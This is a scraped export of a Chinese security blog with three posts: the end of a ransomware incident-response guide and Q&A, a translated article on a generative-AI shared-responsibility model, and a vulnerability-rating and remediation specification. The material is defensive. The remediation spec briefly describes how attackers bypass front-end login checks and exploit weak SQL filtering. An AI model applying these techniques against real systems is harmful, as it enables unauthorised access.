更新应急预案**：**应急预案与应急实践是相互补充与促进的关系。在执行应急预案的情况下，应对每次网络攻击事件进行复盘，并根据暴露出的网络安全问题，对应急预案包含的应急流程、关键措施等进行更新。例如，当出现因钓鱼邮件而引发的勒索病毒事件，则需要在应急预案中设立专项处理钓鱼邮件的管理小组，细化每个责任人的职责，同时需要细化个人安全管理制度的条例。 **（3）加强网络安全隐患修补。**在消除勒索病毒攻击影响的情况下，开展网络安全隐患排查和修补。例如，在权限管理方面，重点排查弱口令、账户权限、口令更新和共用等问题；在漏洞修补方面，及时更新系统、软件、硬件等漏洞补丁。\n口令管理：严格执行账户口令安全管理，重点排查弱口令问题，进一步健全组织内部口令管理机制。例如，规定全部个人终端、服务器等设备配置口令，禁止存在无口令现象；在传递账号和口令时，采取加密措施进行传输，避免在传输过程中遭到截取；口令设置应具有足够的长度和复杂度，且使用数字、字母和符号等组合形式搭配；明确口令更新周期、定期进行修改，在规定期限内使用口令，用户必须在管理员要求更改口令时进行口令更改；新口令与旧口令间应没有直接的联系，加强利用旧口令推测新口令的防范；口令不应取具有特定含义的组合形式，如使用者姓名、生日和其他易于猜测的信息；严格检查口令的重复率，以防攻击者利用统一口令攻击入侵多台设备。 漏洞修补：完善组织资产漏洞、补丁升级、配置加固等，健全统一管理的安全机制和安全运营规范，例如，建立资产漏洞库、补丁源、补丁可靠性验证、定制补丁升级预案、补丁灰度升级、留存审查机制等安全措施，并按照安全运营规范规定的角色、职责、流程严格执行，确保系统自身的安全性；通过对所有系统的情况进行调查或利用漏洞扫描工具进行检测，了解其实际漏洞存在情况；禁用官方已经停止更新维护的系统，及时更新至新系统再投入使用；在发现软件和硬件产品存在漏洞时，应及时禁用，避免攻击者在此期间利用该漏洞进行攻击，关注补丁发布情况，修补漏洞再恢复使用。 权限管控：做好组织内部权限管控管理，保证员工各司其职，做到责任到人、权责分明。例如，员工在工作职责发生变化时，现有职责与现有账号权限不符合时，应当申请权限的变更，管理员发现用户具有当前工作不需要的权限，应告知并停止多余的权限；定期检查账户情况，通过联系账号负责人决定账号的关停情况和权限范围等；开通账号应按照原则建立权限，以最小权限、最小资源的形式对其提供服务，如需更高权限，需根据实际情况进行审核批准。 内网强化：在内外网间根据安全需求，将防火墙、网闸单向传输、入侵检测、深包检测还原与缓存等手段有机结合建立安全屏障。在终端侧应部署立足于有效防护的终端防御软件。每天定期排查设备的事件告警，避免出现事件已经发生却仍未知晓的情况；加固系统防护策略；排查主机相关安全设置，将存在问题的及时进行修改。严格管控移动设备接入内网，避免安全威胁通过移动设备传入，并在内网不同区域间建立网络监控机制，及时发现、处置不同区域之间网络安全事件，避免网络安全事件危害扩大。在组织内部部门网络间做好相应管控措施，防止安全威胁事件从单一部门传播到整个网络。部门间进行互联时，应按照独立访问的原则建立互通访问权限，以最小权限访问、最小资源的形式进行互联互通。 **（4）恢复感染设备正常使用。**感染勒索病毒设备再次投入使用的，在采取磁盘格式化、系统重装、删除可疑文件和程序、消除勒索信息和加密文件等措施的情况下，避免二次感染勒索病毒，再恢复设备正常使用。\n磁盘格式化:在确保勒索病毒无法进行隐藏、再次执行等情况下，进行磁盘格式化。由于部分勒索病毒对系统主引导记录进行篡改，将勒索病毒自身移动至系统磁盘中隐藏，实现持久化的驻留，无法对操作系统磁盘进行格式化，应将勒索病毒进程终止，删除样本母体、衍生物、添加的注册表项及启动项，确保系统磁盘中不存在勒索病毒，且勒索病毒无法再次执行，避免再次感染勒索病毒。删除可疑文件和程序：删除可疑文件和程序前，应终止勒索病毒进程，避免出现进程占用，导致无法删除。部分勒索病毒将自身名字修改为系统进程，可使用安全软件、专杀工具等查看当前系统程序的使用情况，避免终止进程错误\n导致系统无法正常运行，同时可使用安全软件病毒查杀功能查找并删除隐藏在系统中的可疑文件和程序。部分勒索病毒执行中，将自身文件属性设置为隐藏或移动至临时目录、启动项目录或系统根目录下，同时，在注册表添加启动项，实现开机启动功能，达到持久化驻留的目的，可将文件隐藏属性打开，移除可疑文件和程序，删除其添加的注册表项，确保设备重启无再次勒索情况。\n消除勒索信息和加密文件：根据勒索病毒感染、数据文件恢复等情况，选择恰当的措施，消除勒索信息和加密文件。例如，已经通过病毒破解、数据恢复等恢复加密文件，可直接删除被加密文件；无法对加密文件进行解密，且被加密文件具有一定的重要性，可对加密文件进行备份保存，以便于未来利用解密工具等恢复加密文件，备份工作完成可直接删除加密文件。\n速览Q\u0026A-光速学习版 Q1：中勒索病毒，不知是否可解？ 可以到 **360 勒索病毒搜索引擎查询所感染勒索病毒家族近况。支持输入后缀、黑客邮箱等关键词查询，也支持上传被加密文件或黑客留下的勒索提示信息进行查询。若查询结果显示可解，可通过No More Ransom**下载解密工具，进行解密\nQ2：想恢复数据，能否提供付费解密服务？ 如果查询结果提示“暂时无法解密”，说明业界已对该家族进行过研究，但是暂时没有找到技术破解的方案。目前暂不提供技术破解以外的其他形式解密服务，也没有可以推荐的第三方服务商。若您认为确有必要寻求付费解密，可自行联系黑客付费购买密钥，或通过联系第三方购买相关服务。\n**重要说明：**第三方服务商所提供的解密方案为中介性质服务，代替用户与黑客取得联系并操作后续的付费、解密流程，本质上并不具备技术破解能力。\nQ3：购买密钥需要注意什么？ 首先，我们不推荐任何形式的交付赎金行为。若您执意要购买密钥，我们建议应注意以\n下几点：\n不建议直接向黑客付款。直接向黑客付款存在很大风险：\n一是可能拿到的解密工具并不能使用； 其二是可能存在密钥不对，无法解密您的文件； 其三是黑客可能会再次甚至多次向您索要赎金。 若必须向黑客付款，可在支付前先向黑客发送 1 到 2 个被加密文件，确认能解密成功后再确定是否付款。\n通过淘宝、搜索引擎或其它方式联系到的解密服务商，正式开展解密工作前一定要签订合同，明确解密不成功是否需要付款等问题，必要时可要求上门服务。\n不要咨询过多第三方商家。因为第三方大多都是去找黑客购买密钥。过多的联系第三方商家，会造成黑客收到多次关于你设备的咨询，这可能导致黑客觉察到你对数据恢复有强烈需求，从而提高赎金。\n不要过度描述自己文件的重要性或自身的经济实力，这可能会造成解密商或黑客提高佣金或赎金要求。\nQ4：数据恢复方式是否有效？ 少部分勒索病毒由于其加密文件所使用的方式问题，导致有机会通过数据恢复软件找回部分文件。但目前多数勒索病毒加密后的文件并不能直接找回。此外，很多勒索病毒加密文件时为了保证效率，只加密文件头部固定大小的数据，所以部分数据库有机会通过数据修复的方法进行恢复。但该方法并不能保证能 100%修复，可能仍有部分数据丢失，其它格式的文件通过该方法恢复的机会则很小。\nQ5：勒索病毒是否有传播性？ 理论上病毒代码可以带有任意形式的恶意功能，因此无法保证特定一款勒索病毒不具有传播性。但就目前实际捕获到的勒索病毒来看，更多的勒索病毒自身并不具备自主传播的特征（WannaCry 是个例外）。然而这并不代表其不会影响到局域网内的其他机器，受影响的机器会有如下几类情形。\n和被感染机器在同一内网，并与被感染机器共享部分文件夹。由于被感染机器能直接访问到该文件夹，如果没有设置适当的权限控制，病毒就能将该共享文件夹加密。自查是否只有共享被加密：win+r 输入 cmd，然后输入 net share 回车。即可看到当前设备共享了哪些文件夹。 也可通过计算机管理查看：\n对于自行添加的共享文件夹，可以调整权限，如果没有使用需求的，可以直接关闭共享。\n黑客利用被感染机器作为跳板，尝试通过扫描同网段端口、查看远程桌面登录记录 、Nday 漏洞攻击等方式攻击内网其他机器。 Q6：文件已被加密，但扫不出病毒？ 勒索病毒受害者经常在发现中毒后第一时间会使用杀毒软件进行查杀，但杀毒软件却没有查杀到可疑文件，这种现象很常见，也有很多种可能情况：\n大部分情况下，勒索病毒在加密完文件后便会自删除，留下被加密的文件，而被加密文件不带毒。\n黑客将勒索提示信息写入到开机启动项，用户关机重启后会弹出勒索窗口，那是黑客留下的勒索提示信息文档，用来指导用户如何联系他们支付赎金恢复文件。一般只是文档，本身并不具备加密功能，也不是病毒。\n本机并非被勒索病毒直接感染机器，仅因和中毒机器进行了文件共享导致共享文件夹被加密。这种勒索病毒程序是在其它设备中的，当然计算机中没有病毒。\nQ7：勒索病毒是否会在内网中横向转播？ 大部分黑客在投毒之前会先尝试拿到内网中更多机器的权限，手段不限，常见手段如下：\n弱口令攻击 包括远程桌面弱口令、数据库弱口令、tomcat 弱口令、共享文件夹弱口令等等。\n漏洞攻击 如永恒之蓝相关漏洞、java 漏洞、weblogic 漏洞、泛微 OA 漏洞等等。\n非主动传播 中毒机器所在内网种存在部分机器设置了共享文件夹，并且未设置访问权限，导致中毒机器能直接访问到该机器的文件，从而导致文件被加密。因此，内网中中毒机器应及时断网，找到中毒原因后再做处理。同时应立即修改内网中所有机器的密码，因为黑客登录用户机器后都会尝试收集内网中其他机器的口令。\nQ8：插入 U 盘文件被加密了，那文件还能备份吗？ 插入 U 盘，U 盘中的文件被加密了，说明勒索病毒还在系统中运行。需要结束掉该勒索病毒。被加密的文件本身不带病毒。只需防范好 U 盘蠕虫的运行，就可以放心备份到其他地方。\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E5%85%B3%E4%BA%8E%E5%8B%92%E7%B4%A2%E7%97%85%E6%AF%92%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B_aggregated-by-bluedog/","summary":"勒索病毒是一种极具传播性、破坏性的恶意软件，主要利用多种密码算法加密用户数据，恐吓、胁迫、勒索用户高额赎金。近期，勒索病毒攻击形势更加严峻，已经对全球能源、金融等领域重要企业造成严重影响。由于勒索病毒加密信息难以恢复、攻击来源…","tags":["技术实践","恶意软件"],"title":"关于勒索病毒的那些事","unix":1696730400,"year":"2023"},{"date":"2023-07-28","dateISO":"2023-07-28","permalink":"https://bluedog.website/posts/archive/%E5%A5%BD%E6%96%87%E7%BF%BB%E8%AF%91/%E5%A5%BD%E6%96%87%E7%BF%BB%E8%AF%91%E7%94%9F%E6%88%90%E5%BC%8F%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E6%8F%90%E5%87%BA%E7%9A%84%E5%85%B1%E6%8B%85%E8%B4%A3%E4%BB%BB%E6%A8%A1%E5%9E%8B/","plain":"原文地址：https://cloudsecurityalliance.org/blog/2023/07/28/generative-ai-proposed-shared-responsibility-model/\n原文作者：由McAfee Enterprise的首席技术专家、云原生安全负责人Vishwas Manral撰写\n译者：BlueDog\n概述 由于OpenAI发布了面向消费者的聊天机器人ChatGPT，该机器人利用生成式人工智能技术，大型语言模型（LLMs）引起了广泛关注。ChatGPT对企业和公司产生了巨大影响，开源人工智能生态系统也同样如此\n云服务提供商一直处于领先地位，微软Azure通过其平台和认知服务提供OpenAI API，并在其平台内集成其他OpenAI平台。谷歌创建了一个名为Bard的类似ChatGPT的聊天机器人，并通过其Vertex AI平台提供生成式人工智能功能。亚马逊也与其SageMaker平台合作\n虽然我们还处于人工智能的早期阶段，但有一点是清楚的：云计算是生成式人工智能平台的支柱。企业和公司将在云上使用并创建大部分他们的生成式人工智能应用程序\n基础内容 在我们进一步深入之前，让我们先了解一些基本术语\n**人工智能（AI）**是机器模仿智能人类行为的能力。像“苹果Siri”或“亚马逊Alexa”这样的聊天机器人被认为是人工智能，它们可以用人类的声音进行对话\n**机器学习（ML）**是应用于AI的一种方法，它帮助我们从经验中学习和改进。它是计算机科学的一个学科，使用计算机算法和分析来构建预测模型以解决业务问题\n深度学习是机器学习的一个子集，涉及到受到人脑结构和功能启发的算法。深度学习算法可以处理大量结构化和非结构化数据。深度学习的关键点在于表示性学习，即自动地学习特征，并且每个层次都会创建更抽象、综合性更强的数据表示\n**生成对抗网络（GANs）**是通过将问题框定为具有两个子模型（生成模型和判别模型）之间监督式训练问题而巧妙地训练生成模型的方法：我们训练生成器模型来生成新样本，并且判别器模型试图将样本分类为真实领域中的样本还是生成的（虚假的）。\n生成式人工智能是一类用于创建新内容的AI模型和工具。它使用诸如GANs和变换器（Transformer）模型等机器学习技术，从大规模数据集中学习并生成独特的输出\n**AI服务提供商（AISP）**是一种为用户提供AI服务的实体，帮助他们构建AI应用程序。这些实体可以是云提供商，如AWS、GCP和Azure，也可以是其他专业提供商\n**AI服务使用者（AISU）**是使用AISP提供的服务来为用户构建AI应用程序的实体。这些实体通常是企业、中小型企业、初创公司甚至个人开发者\n**大型语言模型（LLM）**是基于深度学习的语言模型，在大量语言数据上进行训练。这些语言能够产生类似人类的语言输出，并执行复杂的自然语言处理任务\n提示机制使得用户/软件可以使用自然语言与生成式AI模型交互。它由给出指令组成，以便要求生成式AI提供所需输出\n接地化过程为生成式AI模型提供上下文信息，强制其根据上下文回答而不会产生幻觉。通过访问客户特定数据来进行接地化有助于生成具有相关背景信息响应\n**检索增强接地化（RAG）**是一种知识接地化形式。它采用微调配方将预先训练好的模型数据与附加上下文相结合\n共担责任模型 NIST 800-145定义了云服务的服务模型，包括IaaS、SaaS和PaaS。这些模型已经发展并衍生出许多更多的服务模型。以下是演变后的共享责任模型链接，其中包括容器即服务和无服务器\n随着生成式人工智能应用程序在云上构建，共享责任模型也可以扩展到生成式人工智能应用程序\n生成式人工智能应用 生成式人工智能应用可分为基础设施即服务（IaaS）、平台即服务（PaaS）和软件即服务（SaaS）\nIaaS 应用案例 对于生成式人工智能 IaaS 应用，AISUs 选择基础模型并使用自有专利数据进行训练。应用程序使用已经训练好的模型，并向用户提供访问权限。这些主要是针对关键商业应用程序，如 BloombergGPT、Einstein GPT 和 Intuit GenOS 等公司为满足客户需求而创建的应用程序\nPaaS 应用案例 AISUs 正在使用 Azure OpenAI (或 Google Vertex AI APIs) 等服务创建 PaaS 应用。 AISPs 将已经训练好的模型托管在租户自己的基础架构中。使用生成式人工智能非常类似于专门的 API 调用，适合大量由 AISUs 构建其应用程序所采取的模型\nSaaS 应用案例 现在有很多现有 SaaS 应用包括了生成式人工智能功能。像 Microsoft365、ServiceNow 和 Salesforce 这样知名企业级应⽤都具备了生成式人⼯智能功能。所有与 AISUs 相关联的模型、培训和理解都不会被暴露。还有一些类似于 ChatGPT 的应用程序正在构建，这些应用程序专注于生成式人工智能。企业需要能够检测到这些影子应用程序，并找到保持其使用安全的方法\n生成式人工智能共享责任模型 AI应用的安全和合规责任由AI服务用户、企业（应用程序所有者 ）和AI服务提供商共同承担。这种共享责任模型有助于划分并明确职责分工，使新的AI应用能够更快地创建和部署，同时保持安全性和合规性\nIaaS职责 对于IaaS应用程序，包括GPU、训练或推理基础设施的基础架构由AISPs提供。 AISU负责物理和虚拟基础架构的安全性。 AISPs可以提供经过策划的AI基础模型或预训练模型。使用任何开源或专有数据语料库，AISUs可以对模型进行培训和调整。选择模型谱系和相关性是AISU的责任。需要通过AISU验证用于培训模型的数据语料库及其渊源和安全性需求。该模型由 AISU 托管以进行推理处理。当应用程序运行时，所有提示过滤和接地（上下文回答）都由 AISU 提供支持。提示控制、应用程序安全/知识产权（IP）以及版权等方面均由AISU本身处理\nPaaS职责 对于PaaS应用程序，基础架构以及预先训练好的模型均由AISP提供支持。该模型所依赖数据集合与其安全性是 AISP 的职责范畴内 。该模型由 AISP 自行托管。如果一个模型是针对特定任务进行 训练的，则 AISP 可以在用户特定的上下文中进行一些接地，而 AISU 则负责其他方面。应用程序安全/知识产权（IP）和版权等方面均由AISU本身处理\nSaaS职责 对于SaaS应用程序，LLM模型被从AISU中抽象出来，并由AISP负责。SaaS应用程序使用在SaaS应用程序内的用户特定上下文以及从其他应用获取的其他数据来接地该模型。应用程序安全性、大部分提示过滤和IP过滤都是AISUs的职责范畴内\n结论 虽然AI服务模型将会不断发展，共担责任也会随之变化，但本文试图提供一些早期术语和框架，以帮助清晰划分AI服务提供商和AI服务用户的职责范围，使他们能够独立快速地工作\n","relPermalink":"/posts/archive/%E5%A5%BD%E6%96%87%E7%BF%BB%E8%AF%91/%E5%A5%BD%E6%96%87%E7%BF%BB%E8%AF%91%E7%94%9F%E6%88%90%E5%BC%8F%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E6%8F%90%E5%87%BA%E7%9A%84%E5%85%B1%E6%8B%85%E8%B4%A3%E4%BB%BB%E6%A8%A1%E5%9E%8B/","summary":"概述 由于OpenAI发布了面向消费者的聊天机器人ChatGPT，该机器人利用生成式人工智能技术，大型语言模型（LLMs）引起了广泛关注。ChatGPT对企业和公司产生了巨大影响，开源人工智能生态系统也同样如此","tags":["技术译文","翻译","AI安全"],"title":"生成式人工智能：提出的共担责任模型","unix":1690509600,"year":"2023"},{"date":"2023-07-20","dateISO":"2023-07-20","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D%E8%A7%84%E8%8C%83%E6%8F%8F%E8%BF%B0/","plain":" 最后修改时间 2023-07-20 修改人：BlueDog 将不定期刷新该文档 风险评级标准 严重不安全系统\n存在 1 个及以上严重漏洞，或 3 个以上高危漏洞的系统 高危不安全系统\n存在 1 个及以上高危漏洞，或 5 个以上中危漏洞的系统 中危不安全系统\n存在 1 个及以上中危漏洞，或 5 个以上低危漏洞的系统 低危不安全系统\n无中高危,存在 5 个以上低危漏洞的系统 安全系统\n无中高危,存在 5 个以下低危漏洞的系统 漏洞评级依据 严重漏洞\n直接获取业务服务器权限的漏洞以及获取重要数据的漏洞，包括但不限于命令执行、上传 webshell、代码执行、SQL 注入获得大量重要数据 严重影响系统业务和数据安全的逻辑漏洞，包括但不限于任意帐号密码重置或更改漏洞、任意账号资金消费、系统可轻易被薅羊毛、严重越权访问漏洞、未授权访问后台管理系统、严重级别的敏感信息泄露 直接导致核心业务拒绝服务的漏洞，包括通过该远程拒绝服务漏洞直接导致线上核心应用、系统、服务器无法继续提供服务的漏洞 高危漏洞\n敏感信息泄漏漏洞,包括但不限于源代码压缩包泄漏、SQL 注入、越权或者直接获取大量用户、员工信息 账号暴力破解漏洞 可远程获取客户端和服务端权限的漏洞。包括但不限于 SSRF、远程缓冲区溢出、存储型 XSS、以及可获取 cookie 等敏感信息的 XSS 中危漏洞\n普通信息泄露,包括但不限于未涉及敏感数据的 SQL 注入、影响数据量有限或者敏感程度有限的越权、源代码或系统日志等信息泄露 需受害者交互或其他前置条件才能获取用户身份信息的漏洞。包括但不限于包含用户、网站敏感数据的 JSON Hijacking、重要操作（如支付类操作、发布信息或修改个人账号敏感信息类操作）的 CSRF、反射型 XSS 普通的逻辑缺陷漏洞和越权漏洞 低危漏洞\n轻微信息泄露,包括但不限于路径、SVN 信息泄露、PHPinfo、异常和含有少量敏感字段的调试信息、日志打印及配置等泄露 应用场景有限的漏洞与难以利用的安全漏洞。包括但不仅限于有限制的反射型或 self 型 XSS、短信/邮件轰炸、URL 跳转、敏感操作的 CSRF 安全控制建议 认证\n对于存在弱口令的系统，需在加强使用者安全意识的前提下，督促其修改密码，或者使用策略来强制限制密码长度和复杂性。 对于存在弱口令或是空口令的服务，在一些关键服务上，应加强口令强度，同时需使用加密传输方式，对于一些可关闭的服务来说，建议关闭该服务以达到安全目的，或者限制为指定范围内 IP 访问。 对于出现验证码功能的系统或服务，不能只在前端进行防护，而是要在后台进行二次检测，做到前后端同时加固。 不同系统、主机应根据密码规则采用具有强复杂性的不同口令。 对内外网中的各种服务的弱口令现象进行排查。 应用\n服务器配置 HTTPS 方式访问，对通讯进行加密。 对所有中间件进行降权处理，避免使用管理员等高权限账号启动。 建议使用安全产品，waf、主机安全、态势感知等。 对于用户登录后涉及用户唯一信息的请求，每次都要验证检查所有权，敏感信息页面加随机数的参数，防止浏览器缓存内容。 对于 Oracle 数据库服务的应用系统,建议及时更新到最新版本,安装最新补丁,详情可见 Oracle 官方安全公告 https://www.oracle.com/security-alerts/ 对于存在 Struts2 中间件的应用系统,管理员需及时关注 apache 官方的安全公告 https://cwiki.apache.org/confluence/display/WW/Security+Bulletins 对于存在 Harbor 服务的应用系统,管理员需及时关注官方的安全公告 https://github.com/goharbor/harbor/security/advisories 对于存在 jira 服务的应用系统,管理员需及时关注 atlassian 官方的安全公告 https://jira.atlassian.com/browse/JRASERVER-69858?filter=13085 对于存在 Weblogic 中间件的应用系统,建议及时更新到最新版本,安装最新补丁,详情可见 oracle 官方安全公告 https://www.oracle.com/security-alerts/ 对于存在 shiro 中间件的应用系统,管理员需及时关注 apache 官方的安全公告 https://issues.apache.org/jira/projects/SHIRO/issues 对于存在 Solr 中间件的应用系统,管理员需及时关注 apache 官方的安全公告 https://issues.apache.org/jira/projects/SOLR/issues 对于存在 jenkins 服务的应用系统,管理员需及时关注官方的安全公告 https://jenkins.io/security/advisories/ 对于存在 tomcat 中间件的应用系统,管理员需及时关注 apache 官方的安全公告 http://tomcat.apache.org/security.html 对于存在致远服务的应用系统,管理员需及时关注官方的安全公告 http://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81\u0026id=1 对于存在泛微服务的应用系统,管理员需及时关注官方的安全更新公告 https://www.weaver.com.cn/cs/securityDownload.html# 对于存在通达服务的应用系统,管理员需及时关注通达官方的安全公告及时下载更新 https://www.tongda2000.com/download/p2019.php?F=\u0026K= 对于存在蓝凌服务的应用系统,管理员需及时关注官方的动态 http://www.landray.com.cn/ 对于存在用友服务的应用系统,管理员需及时关注用友官方的安全公告及时下载更新 http://fwq.yonyou.com/up_service/index.php?r=public/serv\u0026ciId=594806863904A9D8 对于存在金蝶服务的应用系统,管理员需及时关注金蝶官方的安全公告及时下载更新 http://www.buykingdee.com/download/download.php?lang=cn\u0026class2=123 对于存在金和服务的应用系统,管理员需及时关注金和官方的安全公告及时下载更新 http://www.jinher.com/Service/index/id/169 对于存在 JBOSS 中间件的应用系统,管理员需及时关注 JBOSS 官方的安全公告及时下载更新 http://jbossas.jboss.org/downloads/ https://github.com/advisories 主机\n合理配置安全组，避免不必要的端口及服务对外开放。 建议定期进行渗透测试、主机 \u0026 WEB 漏洞扫描。 对于 Windows 主机的漏洞防护,管理员需及时关注微软官方的安全公告 https://portal.msrc.microsoft.com/zh-cn/security-guidance 对于 UNIX 主机的漏洞防护,管理员需关注相应发行版本官方安全公告 RedHat 系统官方安全公告 : https://access.redhat.com/errata/#/ CentOS 系统官方安全公告 : https://lists.centos.org/pipermail/centos-announce/ SUSE 系统官方安全公告 : https://www.suse.com/support/update/ Ubuntu 系统官方安全公告 : https://ubuntu.com/security/notices Debian 系统官方安全公告 : https://www.debian.org/security/ arch 系统官方安全公告 : https://security.archlinux.org/ fedora 系统官方安全公告 : https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/ gentoo 系统官方安全公告 : https://security.gentoo.org/glsa/ freebsd 系统官方安全公告 : http://vuxml.freebsd.org/freebsd/ slackware 系统官方安全公告 : http://www.slackware.com/security/ opensuse 系统官方安全公告 : https://lists.opensuse.org/opensuse-security-announce/ APP\nhttps://source.android.com/security/bulletin 代码\n严格区分代码与数据，在任何存在用户输入或交互的位置采取限制或过滤手段。 进行文件上传时,在服务端对文件属性进行合法性校验,白名单形式检查文档类型(如文件的后缓名、文件头信息校验等)和大小(图片校验长、宽和像素等)。 开发时，优先使用相应框架库的最新稳定版本，及时关注相应的官方库发布的安全补丁。 根据企业软件安全管理的组织架构，针对企业安全相关人员的专业水平，进行组织，分定角色等，形成安全团队建立文档。 认证 弱口令/空口令 web 后台系统弱口令\n漏洞评级建议: 高危\n漏洞类型: 认证缺陷\n详情\n由于网站用户帐号存在弱口令，导致攻击者通过弱口令可轻松登录到网站中，从而进行下一步的攻击，例如上传 webshell，获取敏感数据，另外攻击者利用弱口令登录网站管理后台，可执行任意管理员的操作。\n造成的危害\n攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。\n修复建议\n用户层面\n不要使用常见的弱口令作为密码。 不要多个系统或者社交账号使用同一套密码。 定期修改密码。 建议使用包含随机值的或者随机生成的字符串作为系统密码。 系统层面\n增加人机验证机制，限制 ip 访问次数。 服务端对登录处增加图形验证码并保证使用一次即销毁。 强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的策略。 服务端对登录接口进行限制，单个 IP 单位时间内请求超过阈值，封禁 30 分钟。 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁 20 分钟。 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母 + 数字 + 特殊字符 + 8 位以上） 完善密码策略，信息安全最佳实践的密码策略为 8 位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少 3 种。 ftp 弱口令\n漏洞评级建议: 高危,若无实际利用点建议降为中危\n漏洞类型: 认证缺陷\n详情\n渗透测试过程中，发现远程 FTP Server 允许以弱口令组合登录。\n造成的危害\n这可能允许攻击者上传恶意文件或者下载敏感文件。\n修复建议\n不要使用常见的弱口令作为密码。 定期修改密码。 及时 FTP 服务更新到最新版本。 对采用白名单的方式，仅允许授权主机 IP 访问该端口，避免漏洞被攻击者恶意利用。 ftp 匿名登录\n漏洞评级建议: 高危,若无实际利用点建议降为中危\n漏洞类型: 访问控制缺陷\n详情\n渗透测试过程中，发现目标主机开放的 ftp 服务允许匿名用户进行登录。\n造成的危害\n黑客利用弱口令或匿名登录漏洞直接登录 ftp 服务，上传恶意文件，从而获取系统权限，并可能造成数据泄露。\n修复建议\n关闭匿名访问。 不要使用常见的弱口令作为密码。 定期修改密码。 及时 ftp 服务更新到最新版本。 采用白名单的方式，仅允许授权主机 IP 访问该端口，避免漏洞被攻击者恶意利用。 SSH 弱口令\n漏洞评级建议: 高危\n漏洞类型: 认证缺陷\n详情\nSSH 弱口令漏洞指 Linux 系统口令的长度太短或者复杂度不够，如仅包含数字，或仅包含字母等，弱口令容易被破解。攻击者可以利用弱口令直接登录 SSH 服务器，读取甚至修改网站代码，或者导致服务器沦陷。\n造成的危害\n攻击者经过爆破登录后可完全控制机器，即使低权限账号也可以通过提权进行进一步的破坏。\n修复建议\n修改口令，增加口令复杂度，如包含大小写字母、数字和特殊字符等。 修改默认口令，避免默认口令被猜解。 指定健壮的口令策略，比如指定每隔30天修改一次密码，密码不得与历史密码相同。 采用白名单的方式，仅允许授权主机 IP 访问该端口，避免漏洞被攻击者恶意利用。 数据库弱口令\n漏洞评级建议: 高危\n漏洞类型: 认证缺陷\n详情\n数据库弱口令漏洞指数据库管理员账号对应密码的长度太短或者复杂度不够，仅包含数字，或仅包含字母等，弱口令容易被破解，一旦被攻击者获取，可用来直接登录数据库系统，读取甚至修改服务器上的文件，或者导致服务器沦陷。\n造成的危害\n攻击者可直接操作数据库,甚至可以进行提权拿到服务器权限。\n修复建议\n修改口令，增加口令复杂度，如包含大小写字母、数字和特殊字符等。 修改默认口令，避免默认口令被猜解。 指定健壮的口令策略，比如指定每隔30天修改一次密码，密码不得与历史密码相同。 采用白名单的方式，仅允许授权主机 IP 访问该端口，避免漏洞被攻击者恶意利用。 xxx 弱口令/空口令\n漏洞评级建议: 高危,若无实际利用点建议降为中危\n漏洞类型: 认证缺陷\n详情\n渗透测试过程中，发现目标服务器存在 xxx 服务弱口令问题。\n造成的危害\n攻击者经过爆破登录后可完全控制机器，即使低权限账号也可以通过提权进行进一步的破坏。\n或\n攻击者经过爆破登录后可完全控制目标数据库，进而可以对数据信息进行窃取、篡改等操作。\n修复建议\n账号不要采用弱口令，建议密码强度 8 位以上，大小写数字混合。 只允许白名单 IP 进行登录。 xxx 后台无安全认证\n漏洞评级建议: 高危,若无实际利用点建议降为中危\n漏洞类型: 访问控制缺陷\n详情\n渗透测试过程中，发现目标xxx服务无任何安全认证。\n造成的危害\n攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。\n修复建议\n用户层面 不要使用常见的弱口令作为密码。 不要多个系统或者社交账号使用同一套密码。 定期修改密码。 建议使用包含随机值的或者随机生成的字符串作为系统密码。 系统层面 用户首次登录后强制用户修改默认密码。 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母 + 数字 + 特殊字符 + 8 位以上）。 服务端对登录处增加图形验证码并保证使用一次即销毁。 服务端对登录接口进行限制，单个 IP 单位时间内请求超过阈值，封禁 30 分钟。 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁 20 分钟。 认证缺陷 逻辑万能密钥\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\n在后台登录页面，后端 SQL 语句过滤不严，攻击者可发送特定数据包直接登录到后台。\n造成的危害\n攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。\n修复建议\n对用户提交的参数安全过滤，像一些特殊的字符(，()*\u0026……%# 等等)进行字符转义操作,以及编码的安全转换。 对用户提交的参数进行加密处理后，再和数据库中存储的密文进行比对。 绕过前端限制登录\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\n在登录抓包，修改返回值后将返回值改为 200. 即可绕过前端限制登录目标用户账户。\n造成的危害\n此时就不需要知道用户密码即可绕过身份认证限制登录用户账户。导致用户信息泄露，违法操作用户账户等严重危害。\n修复建议\n将身份信息验证交给后端执行。 做好登录限制。 不要使用常见的弱口令作为密码。 不要多个系统或者社交账号使用同一套密码。 存在爆破风险\n漏洞评级建议: 低危,若无实际利用点建议降为信息\n漏洞类型: 